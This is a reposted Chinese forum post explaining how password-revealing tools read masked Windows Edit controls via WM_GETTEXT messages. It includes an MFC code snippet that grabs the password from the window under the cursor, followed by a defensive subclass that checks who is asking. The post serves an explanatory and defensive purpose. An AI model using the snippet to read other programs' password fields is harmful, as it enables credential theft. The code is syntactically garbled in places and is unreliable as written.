Evo. G Tech Team Forum
Welcome to Evo. G Tech Team Forum. We have moved to a new website : www.evogtechteam.com

Thanks you.

by Evo. G Tech Team Management.

Join the forum, it's quick and easy

Evo. G Tech Team Forum
Welcome to Evo. G Tech Team Forum. We have moved to a new website : www.evogtechteam.com

Thanks you.

by Evo. G Tech Team Management.
Evo. G Tech Team Forum
Would you like to react to this message? Create an account in a few clicks or log in to continue.

【转载】黑客非法探取密码的原理及安全防范

Go down

【转载】黑客非法探取密码的原理及安全防范  Empty 【转载】黑客非法探取密码的原理及安全防范

Post by cyjian December 12th 2014, 09:18

一、非法获取Password的原理:
    Edit
控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星 号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性,当发现当前探测的窗口是Edit控件并且具有 ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXTEM_GETLINE消息,这样Edit框中的内容就一 目了然了。

    
二、黑客软件工作方法

    
首先要取得当前的窗口,并判断是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判断,现列举代码片段如下:

    //
将客户坐标转换成屏幕坐标

    ClientToScreen
&point);

    //
返回一个包含指定屏幕坐标点的窗口

    CWnd* pWnd = CWnd
::WindowFromPointpoint);

    if
pWnd

    {

    //
获取窗口句柄

    HWND hwndCurr = pWnd->GetSafeHwnd
();

    if
((::GetWindowThreadProcessId GetSafeHwnd(), NULL)) =

    
(::GetWindowThreadProcessId hwndCurr NULL)))

    {

    char lpClassName[255]


    //
获取类名

    if
(::GetClassNamehwndCurr lpClassName 255))

    {

    //
判断是否是Edit控件

    if
0 == m_strWndClass.CompareNoCase"EDIT"))

    {

    //
获取窗口风格

    LONG lStyle =
::GetWindowLonghwndCurr GWL_STYLE);

    //
如果设置了ES_PASSWORD属性

    if
lStyle & ES_PASSWORD

    {

    char szText[255]


    //
通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息

    
::SendMessagehwndCurr WM_GETTEXT 255 LPARAMszText);

    //
密码已保存在szText

    m_strPassword = szText


    }

    }

    }

    }

    }

    
上述代码中值得注意的有以下几个关键地方:

    ClientToScreen
&point);

    CWnd* pWnd = CWnd
::WindowFromPointpoint);

    HWND hwndCurr = pWnd->GetSafeHwnd
();

    
这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。 

    
::SendMessagehwndCurr WM_GETTEXT 255 LPARAMszText);

    
这便是真正起作用的SendMessage了,其第一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。

三、防范措施
    
然我们搞清除了黑客软件普遍采取的手法,那我们自然能制订出一套防范其攻击的措施来。下面我们就要对Password进行保护。从以上分析我们可以看 出:Edit控件的漏洞主要在于没有对发送WM_GETTEXTEM_GETLINE消息者的身份进行检查,只要能找到Edit窗口句柄,任何进程都可 获取其内容。所以必须要对发送消息者的身份进行验证,这里给出一种方法来验证发送消息者的身份是否合法:

    1.
创建新CEdit

    
CEdit继承一个子类CPasswordEdit,申明全局变量g_bSenderIdentity表明消息发送者的身份: BOOL g_bSenderIdentity

    
然后响应CWnd的虚函数DefWindowProc,在这个回调函数中进行身份验证:

    LRESULTCPasswordEdit
efWindowProc UINTmessageWPARAMwParamLPARAMlParam

    { //
Edit的内容获取必须通过以下两个消息之一

    if
((message==WM_GETTEXT

    ||
message==EM_GETLINE)) { //检查是否为合法

    if
(!g_bSenderIdentity

    {

    //
非法获取,显示信息

    AfxMessageBox
_T "报告:正在试图窃取密码!"));

    return 0


    }

    //
合法获取

    g_bSenderIdentity=FALSE


    }

    return CEdit
efWindowProc messagewParamlParam);

    }

    2.
在数据输入对话框中做些处理

    
在对话框中申明一个类成员m_edtPassword:  CpasswordEdit m_edtPassword

    
然后在对话框的OnInitDialog()中加入下列代码: m_edtPassword.SubclassDlgItemIDC_EDIT_PASSWORDthis);

    
将控制与新类做关联。之后要在对话框的数据交换函数中将身份设为合法: void CDlgInputoDataExchange CDataExchangepDX

    { //
如果获取数据

    //
注意:对于CPropertyPage类这里不需要if pDX->m_bSaveAndValidate)条件

    if
pDX->m_bSaveAndValidate

    {

    g_bSenderIdentity=TRUE


    }

    CDialog
oDataExchangepDX);

    //{{AFX_DATA_MAP
CDlgInput

    DDX_Text
pDXIDC_EDIT_PASSWORDm_sPassword); //}}AFX_DATA_MAP

    }

    
这样,Password输入框就拥有了合法身份,会受到保护。

    
结论:

    
以上的方法仅针对VC程序,对于其他语言如VBDelphi等语言,需要借助VC做一个PasswordActiveX控件,实现方法与上述方法基本类似。以上程序均用VisualC++6.0编制调试通过。

cyjian
Spammer
Spammer

Posts : 211
Points : 72015
Reputation : 0
Join date : 2014-06-18

Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum